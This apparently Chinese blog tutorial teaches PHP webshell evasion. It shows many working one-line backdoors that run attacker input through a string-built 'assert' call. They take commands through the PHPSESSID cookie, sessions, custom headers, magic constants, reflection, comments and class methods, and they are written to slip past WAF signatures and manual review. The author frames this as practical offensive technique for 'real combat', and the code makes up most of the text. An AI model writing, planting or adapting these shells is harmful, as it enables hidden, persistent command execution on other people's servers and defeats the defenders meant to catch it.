在这里解释一下为什么,需要讲述传参方式,由于在很多情况下,以请求头作为参数传递并非waf和人工排查的重中之重且非常误导和隐藏,下面就是常用的几种方式
由于Cookie基本上是每个web应用都需要使用到的,php应用在默认情况下,在Cookies请求头中会存在一个PHPSESSID=xxxx这样的cookie,其实这个就可以成为我们的传参位置
<?php
session_start();
$a = "a";
$s = "s";
$c=$a.$s."sert";$c(base64_decode($_COOKIE["PHPSESSID"]));
?>
使用burp抓包
将内容改成base64加密后的命令
可以看到已经执行成功了,可以看到这个迷惑去非常强,如果不仔细排查是不容易发现的,由于webshell的session和网站本身业务并没有关系,所以这个PHPSESSID可以随意修改
session的传参方式其实算是一种间接传产方式,由于session的内容是需要通过源码设置的,并不能想cookie一样直接在请求头中修改,因此需要准备两个文件,一个是将输入的参数传入session,另一个就是将session中的内容取出并执行命令
这里依旧沿用上面的cookie传参
给session传入参数
<?php
session_start();
$_SESSION['dmeo']=base64_decode($_COOKIE["PHPSESSID"]);?>
取出session内容并执行,其实下面的代码是可以直接插入到正常页面中的,增加迷惑性,因为一般正常页面返回的html代码是比较多的,如果我们将内容回显的正常页面当中是比较难发现的
<?php
session_start();
$a = "a";
$s = "s";
$c=$a.$s."sert";
$c($_SESSION['dmeo']);?>
在test.php下通过cookie添加session,注意这个PHPSESSID的值其实就是一个session文件,每当有一个新的sessionid都会生成一个新的session文件,因此这个文件名我们是可以随意修改的,在这里的sessionid不但是文件名,而且也是我们的base64加密后的命令,这里只需要了解一下即可
访问命令执行的页面,并添加其cookie,即可跨页面传递参数,如果用这种方式传参是比较难发现的
总结:session传参其实就是一种参数转移的感觉
自定义请求头其实也是作为一种伪装的请求方式,你可以选择完全自定义一个请求头进行参数传递,但是很多waf也会检测一些没出现过的请求头容易被识别出来,且一旦在日志中被找到一个以这种方式传参,很容易就能查找到使用数据包,还是不稳当,与cookie相比,cookie本身就是一堆随机数不好区分
<?php
session_start();
$a = "a";
$s = "s";
$c=$a.$s."sert";
$c(getallheaders()['Demo']);?>
<?php
$q=$_GET[1];
file_get_contents("php".$q)($_GET[2]);
在这里为什么我会将特征绕过,而并没有像其他博客上写的那些,整一堆混淆的方法,原因就是因为,waf毕竟还是通过特征判断的,只有知道了,waf匹配的正则表达式大概是什么样的,webshell的免杀有真正的意义
看这个特征可以发现很明显的是一个获取参数的语句,但为什么我会将起列举出来了,因为在很多情况下,现在的web应用大多都是使用的框架,基本上所有的获取请求参数内容的方法都是经过框架封装过的,最原始的获取参数内容的方式已经非常少见了,很容易通过一些命令如linux下的find命令通过正则表达式即可找到对应的webshell,很容易被发现,因此不使用该特征是很有必要的
使用{}来替代[]是在ctf中十分常见的绕过方式
<?phpecho $_GET{"demo"};
利用复合变量加foreach,获取参数中的内容,其特点并没有[],不容易被识别
<?php
$a = "a";
$s = "s";
$c=$a.$s."sert";
foreach (array('_GET') as $r){
foreach ($$r as $k =>$v){
$c($v); }
}
使用自定义的请求头同样是没有上面的特征
<?php
$a = "a";
$s = "s";
$c=$a.$s."sert";
$c(getallheaders()['Demo']);
>
这个特征大致就是某盾,某狗等的正则表达式匹配的内容,只要去消除此特征即可免杀
该原理就是""中的变量不会被当做字符串使用,会被解析,经过测试该方法基本失效
<?php
$a = "a";
$s = "s";
$c=$a.$s."sert";
$f = $_POST[1]
$c("$f");
>
<?php
function demo()
{
return $_GET["a"];
}demo()($_GET["b"]);
可以用到的4种魔术常量
__FILE__:返回当前文件的绝对路径(包含文件名)。__FUNCTION__:返回当前函数(或方法)的名称。
__CLASS__:返回当前的类名(包括该类的作用区域或命名空间)。
__NAMESPACE__:返回当前文件的命名空间的名称。
__FILE__的利用,将webshell的名字改为base64编码后的内容
<?php
base64_decode(basename(__FILE__,".php"))($_POST[1]);
__FUNCTION__的利用,将webshell的名字改为base64编码后的内容
<?phpfunction assert2(){
substr(__FUNCTION__,0,6)($_GET[1]);
}
assert2();
__CLASS__的利用
<?phpclass assert2{
static function demo(){
substr(__CLASS__,0,6)($_GET[1]);
}
}
assert2::demo();
__NAMESPACE__的利用
<?phpnamespace assert2;
substr(__NAMESPACE__,0,6)($_GET[1]);
以上的4种基于魔术常量的免杀webshell都是可以绕过某盾的
当然在实战种还是要像上一篇文章一样,将传入的参数进行加密处理,如果再把传参方式改为cookie的那就很完美了
<?php
define("DEMO",$_GET[1]."ert");
substr(DEMO,0)($_GET[2]);
顾名思义,就是将一个马拆分成两部分,及使用file_get_contents()将内容读取出来,为什么不使用include等这些文件包含函数了?因为webshell的免杀在于动态函数的调用,最终还是要拼接在一起,绕过的原则其实就是绕过waf的正则表达式,如果直接include其实和写在一个文件里没啥区别
<?php
file_get_contents("test.txt")($_GET[1]);
这种方式和sql注入差不多,原理就是php允许在括号中添加注释符和空白符并不会影响代码正常运行
<?php
$func = $_GET["func"];
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c(//);//(
$func//);//);
)
?>
这里方式可以绕某狗,但过不了某盾
反射类及反射类方法
<?php
$class = new ReflectionClass('Site\Website'); // 以类名 Website 作为参数,即可创建 Website 类的反射类
$properties = $class->getProperties(); // 以数组的形式返回 Website 类的所有属性
$property = $class->getProperty('name'); // 获取 Website 类的 name 属性
$methods = $class->getMethods(); // 以数组的形式返回 Website 类的所有方法
$method = $class->getMethod('getName'); // 获取 Website 类的 getName 方法
$constants = $class->getConstants(); // 以数组的形式获取所有常量
$constant = $class->getConstant('TITLE'); // 获取 TITLE 常量
$namespace = $class->getNamespaceName(); // 获取类的命名空间
$comment_class = $class->getDocComment(); // 获取 Website 类的注释文档,即定义在类之前的注释
$comment_method = $class->getMethod('getUrl')->getDocComment(); // 获取 Website 类中 getUrl 方法的注释文档
?>
通过属性名免杀
<?php
class a{
public $assert2;
}$class = new ReflectionClass(new a());
substr($class->getProperties()[0]->name,0,6)($_GET[1]);
通过注释免杀
<?php
/**
*phpinfo*/
class A
{
public static function B()
{
return $_POST[1];
}
}$re = new ReflectionClass(new A());
$a = str_ireplace(" ","",str_ireplace("n","",str_ireplace("/","",str_ireplace("*","",$re->getDocComment()))));
substr($a,1)(A::B());
类方法调用
<?php
class a{
function demo(){
$a = "a";
$s = "s";
$c=$a.$s."sert";
return $c;
}
}$s = new a();
$s->demo()($_GET[1]);
类的静态方法
<?php
class a{
static function demo(){
$a = "a";
$s = "s";
$c=$a.$s."sert";
return $c;
}
}a::demo()($_GET[1]);
webshell的免杀前提是要分析出waf大概的规则,如果盲目尝试是无法有更快的提示,正所谓大道至简,本文以最简单的代码解释了免杀的方法,原理以及waf背后的逻辑,对于更高级的waf,本文列举了很多种方法,在必要的时候是需要将多种方法合并使用的,以达到最好效果,最后有的绕过方式实在是太老了就没必要讲,如无特征马说是无特征,但这所谓的无特征就是它的最大特征,物联网是人类创造的,所有的东西都满足人类逻辑,不要死记硬背那些复杂的免杀马,只有清楚背后的逻辑才能真正的有所提升。